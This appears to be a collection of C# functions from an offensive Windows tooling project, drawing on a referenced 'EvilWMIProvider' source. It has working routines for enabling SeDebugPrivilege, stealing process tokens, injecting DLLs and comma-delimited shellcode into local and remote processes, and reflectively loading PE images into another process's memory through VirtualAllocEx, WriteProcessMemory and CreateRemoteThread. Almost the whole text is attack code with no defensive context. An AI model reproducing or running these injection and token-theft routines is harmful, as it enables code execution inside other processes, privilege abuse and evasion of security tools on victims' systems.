//////////////////////////////////////////////////////////////////////////////// //http://www.leeholmes.com/blog/2010/09/24/adjusting-token-privileges-in-powershell/ //https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege //////////////////////////////////////////////////////////////////////////////// public static void SetTokenPrivilege(ref IntPtr hToken, String privilege, Boolean bEnable) { Console.WriteLine("[*] Adjusting Token Privilege"); //////////////////////////////////////////////////////////////////////////////// Structs._LUID luid = new Structs._LUID(); if (!Unmanaged.LookupPrivilegeValue(null, privilege, ref luid)) { GetError("LookupPrivilegeValue"); return; } Console.WriteLine(" [+] Recieved luid"); //////////////////////////////////////////////////////////////////////////////// Structs._LUID_AND_ATTRIBUTES luidAndAttributes = new Structs._LUID_AND_ATTRIBUTES(); luidAndAttributes.Luid = luid; luidAndAttributes.Attributes = 0; Structs._TOKEN_PRIVILEGES newState = new Structs._TOKEN_PRIVILEGES(); newState.PrivilegeCount = 1; newState.Privileges = luidAndAttributes; Structs._TOKEN_PRIVILEGES previousState = new Structs._TOKEN_PRIVILEGES(); UInt32 returnLength = 0; Console.WriteLine(" [+] AdjustTokenPrivilege Pass 1"); if (!Unmanaged.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength)) { GetError("AdjustTokenPrivileges - 1"); return; } //////////////////////////////////////////////////////////////////////////////// previousState.PrivilegeCount = 1; if (bEnable) { previousState.Privileges.Attributes |= Constants.SE_PRIVILEGE_ENABLED; } else { previousState.Privileges.Attributes ^= (Constants.SE_PRIVILEGE_ENABLED & previousState.Privileges.Attributes); } //////////////////////////////////////////////////////////////////////////////// Structs._TOKEN_PRIVILEGES kluge = new Structs._TOKEN_PRIVILEGES(); Console.WriteLine(" [+] AdjustTokenPrivilege Pass 2"); if (!Unmanaged.AdjustTokenPrivileges(hToken, false, ref previousState, (UInt32)Marshal.SizeOf(previousState), ref kluge, out returnLength)) { GetError("AdjustTokenPrivileges - 2"); return; } Console.WriteLine(" [+] Adjusted Token to: " + privilege); return; }
public InjectDllRemote(string library, UInt32 processId) { //////////////////////////////////////////////////////////////////////////////// WriteOutput("Attempting to get handle on " + processId); IntPtr hProcess = Unmanaged.OpenProcess(Unmanaged.PROCESS_CREATE_THREAD | Unmanaged.PROCESS_QUERY_INFORMATION | Unmanaged.PROCESS_VM_OPERATION | Unmanaged.PROCESS_VM_WRITE | Unmanaged.PROCESS_VM_READ, false, processId); WriteOutput("Handle: " + hProcess); IntPtr hmodule = Unmanaged.GetModuleHandle("kernel32.dll"); IntPtr loadLibraryAddr = Unmanaged.GetProcAddress(hmodule, "LoadLibraryA"); //////////////////////////////////////////////////////////////////////////////// IntPtr lpAddress = IntPtr.Zero; UInt32 dwSize = (UInt32)((library.Length + 1) * Marshal.SizeOf(typeof(char))); WriteOutputNeutral("Attempting to allocate memory"); IntPtr lpBaseAddress = Unmanaged.VirtualAllocEx(hProcess, lpAddress, dwSize, Unmanaged.MEM_COMMIT | Unmanaged.MEM_RESERVE, Unmanaged.PAGE_READWRITE); WriteOutputGood("Allocated " + dwSize + " bytes at " + lpBaseAddress.ToString("X4")); WriteOutputGood("Memory Protection Set to PAGE_READWRITE"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpNumberOfBytesWritten = 0; IntPtr libraryPtr = Marshal.StringToHGlobalAnsi(library); WriteOutputNeutral("Attempting to write process memory"); Boolean writeProcessMemoryResult = Unmanaged.WriteProcessMemory(hProcess, lpBaseAddress, libraryPtr, dwSize, ref lpNumberOfBytesWritten); WriteOutputGood("Wrote " + dwSize + " bytes"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpflOldProtect = 0; WriteOutputNeutral("Attempting to Alter Memory Protections to PAGE_EXECUTE_READ"); Boolean virtualProtectExResult = Unmanaged.VirtualProtectEx(hProcess, lpBaseAddress, dwSize, Unmanaged.PAGE_EXECUTE_READ, ref lpflOldProtect); WriteOutputGood("Set Memory Protection to PAGE_EXECUTE_READ"); //////////////////////////////////////////////////////////////////////////////// IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; IntPtr lpParameter = IntPtr.Zero; UInt32 dwCreationFlags = 0; UInt32 threadId = 0; WriteOutputNeutral("Attempting to start remote thread"); IntPtr hThread = Unmanaged.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, loadLibraryAddr, lpBaseAddress, dwCreationFlags, ref threadId); WriteOutputGood("Started Thread: " + hThread); /////////////////////////////////////////////////////////////////////////////// Unmanaged.WaitForSingleObjectEx(hProcess, hThread, 0xFFFFFFFF); }
//////////////////////////////////////////////////////////////////////////////// public IntPtr CreateRemoteThreadChecked(IntPtr lpStartAddress, IntPtr lpParameter) { IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; UInt32 dwCreationFlags = 0; UInt32 lpThreadId = 0; IntPtr hThread = Unmanaged.CreateRemoteThread( hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, ref lpThreadId ); WriteOutputGood("Thread Created " + lpThreadId); return(hThread); }
public InjectDll(string library) { //////////////////////////////////////////////////////////////////////////////// IntPtr lpAddress = IntPtr.Zero; UInt32 dwSize = (UInt32)((library.Length + 1) * Marshal.SizeOf(typeof(char))); WriteOutputNeutral("Attempting to allocate memory"); IntPtr lpBaseAddress = Unmanaged.VirtualAlloc(lpAddress, dwSize, Unmanaged.MEM_COMMIT | Unmanaged.MEM_RESERVE, Unmanaged.PAGE_READWRITE); WriteOutputGood("Allocated " + dwSize + " at " + lpBaseAddress); //////////////////////////////////////////////////////////////////////////////// UInt32 lpNumberOfBytesWritten = 0; IntPtr libraryPtr = Marshal.StringToHGlobalAnsi(library); WriteOutputNeutral("Attempting to write process memory"); //Marshal.Copy(libraryPtr, 0, lpBaseAddress, dwSize); WriteOutputGood("Wrote " + dwSize + " bytes"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpflOldProtect = 0; WriteOutputNeutral("Attempting to Alter Memory Protections to PAGE_EXECUTE_READ"); Boolean virtualProtectExResult = Unmanaged.VirtualProtect(lpBaseAddress, dwSize, Unmanaged.PAGE_EXECUTE_READ, ref lpflOldProtect); if (virtualProtectExResult) { WriteOutputGood("Set Memory Protection to PAGE_EXECUTE_READ"); } else { WriteOutputBad("Memory Protection Operation Failed"); } //////////////////////////////////////////////////////////////////////////////// IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; IntPtr lpParameter = IntPtr.Zero; UInt32 dwCreationFlags = 0; UInt32 threadId = 0; WriteOutputNeutral("Attempting to start thread"); //IntPtr hThread = Unmanaged.CreateThread(lpThreadAttributes, dwStackSize, loadLibraryAddr, lpBaseAddress, dwCreationFlags, ref threadId); //WriteOutputGood("Started Thread: " + hThread); /////////////////////////////////////////////////////////////////////////////// //Unmanaged.WaitForSingleObject(hThread, 0xFFFFFFFF); }
//////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// public Tokens() { phNewToken = new IntPtr(); hExistingToken = new IntPtr(); processes = new Dictionary <UInt32, String>(); WindowsPrincipal windowsPrincipal = new WindowsPrincipal(WindowsIdentity.GetCurrent()); if (!windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator)) { Console.WriteLine("[-] Administrator privileges required"); } currentProcessToken = new IntPtr(); Unmanaged.OpenProcessToken(Process.GetCurrentProcess().Handle, Constants.TOKEN_ALL_ACCESS, out currentProcessToken); SetTokenPrivilege(ref currentProcessToken, Constants.SE_DEBUG_NAME); }
//////////////////////////////////////////////////////////////////////////////// public BaseRemote(UInt32 processId) { WriteOutputNeutral("Attempting to get handle on PID: " + processId); UInt32 dwDesiredAccess = Unmanaged.PROCESS_CREATE_THREAD | Unmanaged.PROCESS_QUERY_INFORMATION | Unmanaged.PROCESS_VM_OPERATION | Unmanaged.PROCESS_VM_WRITE | Unmanaged.PROCESS_VM_READ; hProcess = Unmanaged.OpenProcess(Unmanaged.PROCESS_ALL_ACCESS, false, processId); if (IntPtr.Zero == hProcess) { WriteOutputBad("Unable to get process handle"); return; } else { WriteOutputGood("Recieved Handle: 0x" + hProcess.ToString("X4")); } }
//Basis for function, improved to bypass DEP and to take string input //https://github.com/subTee/EvilWMIProvider/blob/master/EvilWMIProvider/EvilWMIProvider.cs public InjectShellCode(string shellCodeString) { const char DELIMITER = ','; string[] shellCodeArray = shellCodeString.Split(DELIMITER); byte[] shellCodeBytes = new Byte[shellCodeArray.Length]; for (int i = 0; i < shellCodeArray.Length; i++) { int value = (int)new System.ComponentModel.Int32Converter().ConvertFromString(shellCodeArray[i]); shellCodeBytes[i] = Convert.ToByte(value); } //////////////////////////////////////////////////////////////////////////////// IntPtr lpAddress = IntPtr.Zero; UInt32 dwSize = (UInt32)shellCodeBytes.Length; IntPtr lpBaseAddress = Unmanaged.VirtualAlloc(lpAddress, dwSize, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_READWRITE); WriteOutput("Allocating Space at Address " + lpBaseAddress); WriteOutput("Memory Protection Set to PAGE_READWRITE"); //////////////////////////////////////////////////////////////////////////////// Marshal.Copy(shellCodeBytes, 0, lpBaseAddress, shellCodeBytes.Length); WriteOutput("Injected ShellCode at address " + lpBaseAddress); //////////////////////////////////////////////////////////////////////////////// UInt32 lpflOldProtect = 0; Boolean test = Unmanaged.VirtualProtect(lpBaseAddress, dwSize, Unmanaged.PAGE_EXECUTE_READ, ref lpflOldProtect); WriteOutput("Altering Memory Protections to PAGE_EXECUTE_READ"); //////////////////////////////////////////////////////////////////////////////// IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; IntPtr lpParameter = IntPtr.Zero; UInt32 dwCreationFlags = 0; UInt32 threadId = 0; WriteOutput("Attempting to start thread"); IntPtr hThread = Unmanaged.CreateThread(lpThreadAttributes, dwStackSize, lpBaseAddress, lpParameter, dwCreationFlags, ref threadId); WriteOutput("Started Thread: " + hThread); //////////////////////////////////////////////////////////////////////////////// Unmanaged.WaitForSingleObject(hThread, 0xFFFFFFFF); }
//////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// public void GetPrimaryToken(UInt32 processId, String name) { //Originally Set to true IntPtr hProcess = Unmanaged.OpenProcess(Constants.PROCESS_QUERY_INFORMATION, true, processId); if (hProcess == IntPtr.Zero) { return; } Console.WriteLine("[+] Recieved Handle for: " + name + " (" + processId + ")"); Console.WriteLine(" [+] Process Handle: " + hProcess.ToInt32()); if (Unmanaged.OpenProcessToken(hProcess, Constants.TOKEN_ALT, out hExistingToken)) { Console.WriteLine(" [+] Primary Token Handle: " + hExistingToken.ToInt32()); } Unmanaged.CloseHandle(hProcess); }
//////////////////////////////////////////////////////////////////////////////// public IntPtr VirtualAllocExChecked(IntPtr lpAddress, UInt32 dwSize) { IntPtr lpBaseAddress = Unmanaged.VirtualAllocEx( hProcess, lpAddress, dwSize, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_EXECUTE_READWRITE ); if (IntPtr.Zero == lpBaseAddress) { WriteOutputBad("Unable to allocate memory"); Environment.Exit(1); //This is dumb return(IntPtr.Zero); } else { WriteOutputGood("Allocated " + dwSize + " bytes at " + lpBaseAddress.ToString("X4")); WriteOutputGood("\tMemory Protection Set to PAGE_READWRITE"); return(lpBaseAddress); } }
//////////////////////////////////////////////////////////////////////////////// public Boolean ReadProcessMemoryUnChecked( IntPtr lpBaseAddress, IntPtr lpBuffer, UInt32 dwSize, string sectionName ) { UInt32 dwNumberOfBytesRead = 0; Boolean readProcessMemoryResult = Unmanaged.ReadProcessMemory( hProcess, lpBaseAddress, lpBuffer, dwSize, ref dwNumberOfBytesRead ); if (readProcessMemoryResult) { return(true); } else { WriteOutputNeutral("Unable to read process memory"); return(false); } }
public InjectPE(PELoader peLoader, string parameters) { //////////////////////////////////////////////////////////////////////////////// IntPtr lpAddress = IntPtr.Zero; UInt32 dwSize = peLoader.sizeOfImage; IntPtr lpBaseAddress = Unmanaged.VirtualAlloc(lpAddress, dwSize, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_EXECUTE_READWRITE); WriteOutputGood("Allocated Space For " + peLoader.sizeOfImage.ToString("X4") + " at " + lpBaseAddress.ToString("X4")); //////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < peLoader.imageFileHeader.NumberOfSections; i++) { IntPtr lpBaseAddressSection = new IntPtr(lpBaseAddress.ToInt32() + peLoader.imageSectionHeaders[i].VirtualAddress); UInt32 dwSizeSection = peLoader.imageSectionHeaders[i].SizeOfRawData; IntPtr lpAllocatedAddress = Unmanaged.VirtualAlloc(lpBaseAddressSection, dwSizeSection, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_EXECUTE_READWRITE); Marshal.Copy(peLoader.imageBytes, (Int32)peLoader.imageSectionHeaders[i].PointerToRawData, lpAllocatedAddress, (Int32)peLoader.imageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Copied " + peLoader.imageSectionHeaders[i].Name + " to " + lpAllocatedAddress.ToString("X4")); } //////////////////////////////////////////////////////////////////////////////// IntPtr relocationTable = new IntPtr(lpBaseAddress.ToInt32() + peLoader.baseRelocationTableAddress); Structs.IMAGE_BASE_RELOCATION relocationEntry = (Structs.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(Structs.IMAGE_BASE_RELOCATION)); Int32 sizeOfRelocationStruct = Marshal.SizeOf(typeof(Structs.IMAGE_BASE_RELOCATION)); Int32 sizeofNextBlock = (Int32)relocationEntry.SizeOfBlock; IntPtr offset = relocationTable; //////////////////////////////////////////////////////////////////////////////// while (true) { Structs.IMAGE_BASE_RELOCATION relocationNextEntry = new Structs.IMAGE_BASE_RELOCATION(); IntPtr lpNextRelocationEntry = new IntPtr(relocationTable.ToInt32() + (Int32)sizeofNextBlock); relocationNextEntry = (Structs.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(lpNextRelocationEntry, typeof(Structs.IMAGE_BASE_RELOCATION)); IntPtr destinationAddress = new IntPtr(lpBaseAddress.ToInt32() + (Int32)relocationEntry.VirtualAdress); //////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < (Int32)((relocationEntry.SizeOfBlock - sizeOfRelocationStruct) / 2); i++) { UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); switch (type) { case 0x0: break; case 0xA: if (peLoader.is64Bit) { IntPtr patchAddress = new IntPtr(destinationAddress.ToInt64() + (Int32)fixup); Int64 originalAddress = Marshal.ReadInt64(patchAddress); Int64 delta64 = (Int64)(lpBaseAddress.ToInt64() - (Int64)peLoader.imageOptionalHeader64.ImageBase); Marshal.WriteInt64(patchAddress, originalAddress + delta64); } else { IntPtr patchAddress = new IntPtr(destinationAddress.ToInt32() + (Int32)fixup); Int32 originalAddress = Marshal.ReadInt32(patchAddress); Int32 delta32 = (Int32)(lpBaseAddress.ToInt32() - (Int32)peLoader.imageOptionalHeader32.ImageBase); Marshal.WriteInt32(patchAddress, originalAddress + delta32); } break; } } offset = new IntPtr(relocationTable.ToInt32() + (int)sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; //"The last entry is set to zero (NULL) to indicate the end of the table." - cool if (0 == relocationNextEntry.SizeOfBlock) { break; } } //////////////////////////////////////////////////////////////////////////////// //http://sandsprite.com/CodeStuff/Understanding_imports.html //////////////////////////////////////////////////////////////////////////////// Int32 sizeOfStruct = Marshal.SizeOf(typeof(Structs._IMAGE_IMPORT_DIRECTORY)); Int32 multiplier = 0; while (true) { Int32 dwImportTableAddressOffset = ((sizeOfStruct * multiplier++) + peLoader.importTableAddress); IntPtr lpImportAddressTable = new IntPtr(lpBaseAddress.ToInt32() + dwImportTableAddressOffset); Structs._IMAGE_IMPORT_DIRECTORY imageImportDirectory = (Structs._IMAGE_IMPORT_DIRECTORY)Marshal.PtrToStructure(lpImportAddressTable, typeof(Structs._IMAGE_IMPORT_DIRECTORY)); if (0 == imageImportDirectory.RvaImportAddressTable) { break; } //////////////////////////////////////////////////////////////////////////////// IntPtr dllNamePTR = new IntPtr(lpBaseAddress.ToInt32() + imageImportDirectory.RvaModuleName); string dllName = Marshal.PtrToStringAnsi(dllNamePTR); IntPtr hModule = Unmanaged.LoadLibrary(dllName); WriteOutputGood("Loaded " + dllName + " at " + hModule.ToString("X4")); //////////////////////////////////////////////////////////////////////////////// IntPtr lpRvaImportAddressTable = new IntPtr(lpBaseAddress.ToInt32() + imageImportDirectory.RvaImportAddressTable); while (true) { Int32 dwRvaImportAddressTable = Marshal.ReadInt32(lpRvaImportAddressTable); if (0 == dwRvaImportAddressTable) { break; } else { IntPtr lpDllFunctionName = (new IntPtr(lpBaseAddress.ToInt32() + dwRvaImportAddressTable + 2)); string dllFunctionName = Marshal.PtrToStringAnsi(lpDllFunctionName); IntPtr functionAddress = Unmanaged.GetProcAddress(hModule, dllFunctionName); Marshal.WriteInt64(lpRvaImportAddressTable, (Int64)functionAddress); lpRvaImportAddressTable = new IntPtr(lpRvaImportAddressTable.ToInt32() + 8); } } } //////////////////////////////////////////////////////////////////////////////// string parameter = ""; IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; Int32 dwStartAddress = lpBaseAddress.ToInt32() + peLoader.addressOfEntryPoint; IntPtr lpStartAddress = new IntPtr(dwStartAddress); IntPtr lpParameter = new IntPtr(Convert.ToInt32(parameter)); UInt32 dwCreationFlags = 0; UInt32 lpThreadId = 0; IntPtr hThread = Unmanaged.CreateThread(lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, ref lpThreadId); WriteOutputGood("Created thread " + hThread); //////////////////////////////////////////////////////////////////////////////// Unmanaged.WaitForSingleObject(hThread, 0xFFFFFFFF); }
public InjectShellCodeRemote(string shellCodeString, UInt32 processId) { const char DELIMITER = ','; string[] shellCodeArray = shellCodeString.Split(DELIMITER); byte[] shellCodeBytes = new Byte[shellCodeArray.Length]; for (int i = 0; i < shellCodeArray.Length; i++) { int value = (int)new System.ComponentModel.Int32Converter().ConvertFromString(shellCodeArray[i]); shellCodeBytes[i] = Convert.ToByte(value); } //////////////////////////////////////////////////////////////////////////////// WriteOutputNeutral("Attempting to get handle on " + processId); IntPtr hProcess = Unmanaged.OpenProcess(Unmanaged.PROCESS_CREATE_THREAD | Unmanaged.PROCESS_QUERY_INFORMATION | Unmanaged.PROCESS_VM_OPERATION | Unmanaged.PROCESS_VM_WRITE | Unmanaged.PROCESS_VM_READ, false, processId); WriteOutputGood("Handle: " + hProcess.ToString("X4")); //////////////////////////////////////////////////////////////////////////////// IntPtr lpAddress = IntPtr.Zero; UInt32 dwSize = (UInt32)shellCodeBytes.Length; WriteOutputNeutral("Attempting to allocate memory"); IntPtr lpBaseAddress = Unmanaged.VirtualAllocEx(hProcess, lpAddress, dwSize, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_READWRITE); WriteOutputGood("Allocated " + dwSize + " bytes at " + lpBaseAddress.ToString("X4")); WriteOutputGood("Memory Protection Set to PAGE_READWRITE"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpNumberOfBytesWritten = 0; GCHandle pinnedArray = GCHandle.Alloc(shellCodeBytes, GCHandleType.Pinned); IntPtr shellCodeBytesPtr = pinnedArray.AddrOfPinnedObject(); WriteOutputNeutral("Attempting to write process memory"); Boolean writeProcessMemoryResult = Unmanaged.WriteProcessMemory(hProcess, lpBaseAddress, shellCodeBytesPtr, (UInt32)shellCodeBytes.Length, ref lpNumberOfBytesWritten); WriteOutputGood("Wrote " + dwSize + " bytes"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpflOldProtect = 0; WriteOutputNeutral("Attempting to Alter Memory Protections to PAGE_EXECUTE_READ"); Boolean test = Unmanaged.VirtualProtectEx(hProcess, lpBaseAddress, dwSize, Unmanaged.PAGE_EXECUTE_READ, ref lpflOldProtect); WriteOutputGood("Set Memory Protection to PAGE_EXECUTE_READ"); //////////////////////////////////////////////////////////////////////////////// IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; IntPtr lpParameter = IntPtr.Zero; UInt32 dwCreationFlags = 0; UInt32 threadId = 0; WriteOutputNeutral("Attempting to start remote thread"); IntPtr hThread = Unmanaged.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpBaseAddress, lpParameter, dwCreationFlags, ref threadId); WriteOutputGood("Started Thread: " + hThread); //////////////////////////////////////////////////////////////////////////////// Unmanaged.WaitForSingleObjectEx(hProcess, hThread, 0xFFFFFFFF); }
public void execute() { //////////////////////////////////////////////////////////////////////////////// IntPtr lpBaseAddress = VirtualAllocExChecked(new IntPtr(0), peLoader.sizeOfImage); WriteOutputNeutral("Iterating through " + peLoader.imageFileHeader.NumberOfSections + " Headers"); //////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < peLoader.imageFileHeader.NumberOfSections; i++) { IntPtr lpBaseAddressSection = new IntPtr(lpBaseAddress.ToInt64() + peLoader.imageSectionHeaders[i].VirtualAddress); GCHandle pinnedArray = GCHandle.Alloc(peLoader.imageBytes, GCHandleType.Pinned); IntPtr imageBytesPtr = new IntPtr((Int64)pinnedArray.AddrOfPinnedObject() + peLoader.imageSectionHeaders[i].PointerToRawData); UInt32 dwSizeSection = peLoader.imageSectionHeaders[i].SizeOfRawData; string sectionName = new string(peLoader.imageSectionHeaders[i].Name); WriteProcessMemoryChecked(lpBaseAddressSection, imageBytesPtr, dwSizeSection, sectionName); } //////////////////////////////////////////////////////////////////////////////// IntPtr lpRelocationTable = new IntPtr(lpBaseAddress.ToInt64() + peLoader.baseRelocationTableAddress); Structs.IMAGE_BASE_RELOCATION relocationEntry = PtrToStructureRemote <Structs.IMAGE_BASE_RELOCATION>(lpRelocationTable); UInt32 imageSizeOfBaseRelocation = (UInt32)Marshal.SizeOf(typeof(Structs.IMAGE_BASE_RELOCATION)); Int32 sizeofNextBlock = (Int32)relocationEntry.SizeOfBlock; IntPtr offset = lpRelocationTable; //////////////////////////////////////////////////////////////////////////////// while (true) { IntPtr lpNextRelocationEntry = new IntPtr(lpRelocationTable.ToInt64() + (Int64)sizeofNextBlock); Structs.IMAGE_BASE_RELOCATION relocationNextEntry = PtrToStructureRemote <Structs.IMAGE_BASE_RELOCATION>(lpNextRelocationEntry); IntPtr destinationAddress = new IntPtr(lpBaseAddress.ToInt64() + (Int32)relocationEntry.VirtualAdress); Int32 entries = (Int32)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); //////////////////////////////////////////////////////////////////////////////// // Some magic from subtee //////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < entries; i++) { UInt16 value = (UInt16)ReadInt16Remote(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); switch (type) { case 0x0: break; case 0xA: IntPtr lpPatchAddress = new IntPtr(destinationAddress.ToInt64() + (Int32)fixup); Int64 originalAddress = ReadInt64Remote(lpPatchAddress); Int64 delta64 = (Int64)(lpBaseAddress.ToInt64() - (Int64)peLoader.imageOptionalHeader64.ImageBase); IntPtr lpOriginalAddress = new IntPtr(originalAddress + delta64); WriteInt64Remote(lpPatchAddress, originalAddress + delta64); break; } } offset = new IntPtr(lpRelocationTable.ToInt64() + (Int64)sizeofNextBlock); sizeofNextBlock += (Int32)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; //"The last entry is set to zero (NULL) to indicate the end of the table." - cool if (0 == relocationNextEntry.SizeOfBlock) { break; } } //////////////////////////////////////////////////////////////////////////////// //http://sandsprite.com/CodeStuff/Understanding_imports.html //////////////////////////////////////////////////////////////////////////////// Int32 sizeOfStruct = Marshal.SizeOf(typeof(Structs._IMAGE_IMPORT_DIRECTORY)); Int32 multiplier = 0; Process localProcess = Process.GetCurrentProcess(); IntPtr lpLocalBaseAddress = localProcess.MainModule.BaseAddress; Process remoteProcess = Process.GetProcessById((Int32)localProcess.Id); IntPtr lpRemoteBaseAddress = remoteProcess.MainModule.BaseAddress; while (true) { Int32 dwImportTableAddressOffset = ((sizeOfStruct * multiplier++) + peLoader.importTableAddress); IntPtr lpImportAddressTable = new IntPtr(lpBaseAddress.ToInt64() + dwImportTableAddressOffset); Structs._IMAGE_IMPORT_DIRECTORY imageImportDirectory = PtrToStructureRemote <Structs._IMAGE_IMPORT_DIRECTORY>(lpImportAddressTable); if (0 == imageImportDirectory.RvaImportAddressTable) { break; } //////////////////////////////////////////////////////////////////////////////// IntPtr dllNamePTR = new IntPtr(lpBaseAddress.ToInt64() + imageImportDirectory.RvaModuleName); string dllName = PtrToStringAnsiRemote(dllNamePTR).Replace("\0", ""); IntPtr lpLocalModuleAddress = Unmanaged.LoadLibrary(dllName); IntPtr lpModuleBaseAddress = LoadLibraryRemote(dllName); WaitForSingleObjectExRemote(lpModuleBaseAddress); WriteOutputGood("Loaded " + dllName); //////////////////////////////////////////////////////////////////////////////// IntPtr lpRvaImportAddressTable = new IntPtr(lpBaseAddress.ToInt64() + imageImportDirectory.RvaImportAddressTable); while (true) { Int32 dwRvaImportAddressTable = PtrToInt32Remote(lpRvaImportAddressTable); if (0 == dwRvaImportAddressTable) { break; } else { IntPtr lpDllFunctionName = (new IntPtr(lpBaseAddress.ToInt64() + dwRvaImportAddressTable + 2)); string dllFunctionName = PtrToStringAnsiRemote(lpDllFunctionName).Replace("\0", ""); IntPtr hModule = Unmanaged.GetModuleHandle(dllName); IntPtr lpLocalFunctionAddress = Unmanaged.GetProcAddress(hModule, dllFunctionName); IntPtr lpRelativeFunctionAddress = new IntPtr(lpLocalFunctionAddress.ToInt64() - lpLocalBaseAddress.ToInt64()); IntPtr lpFunctionAddress = new IntPtr(lpRemoteBaseAddress.ToInt64() + lpRelativeFunctionAddress.ToInt64()); WriteOutputGood("\tLoaded Function " + dllFunctionName); //baseRemote.WriteProcessMemoryUnChecked(lpRvaImportAddressTable, lpFunctionAddress, sizeof(Int64),""); WriteInt64Remote(lpRvaImportAddressTable, (Int64)lpFunctionAddress); lpRvaImportAddressTable = new IntPtr(lpRvaImportAddressTable.ToInt64() + sizeof(Int64)); } } } //////////////////////////////////////////////////////////////////////////////// Int64 dwStartAddress = lpBaseAddress.ToInt64() + peLoader.addressOfEntryPoint; IntPtr lpStartAddress = new IntPtr(dwStartAddress); IntPtr lpParameter = IntPtr.Zero; CreateRemoteThreadChecked(lpStartAddress, lpParameter); }
public void WaitForSingleObjectExRemote(IntPtr hThread) { Unmanaged.WaitForSingleObjectEx(hProcess, hThread, 0xFFFFFFFF); }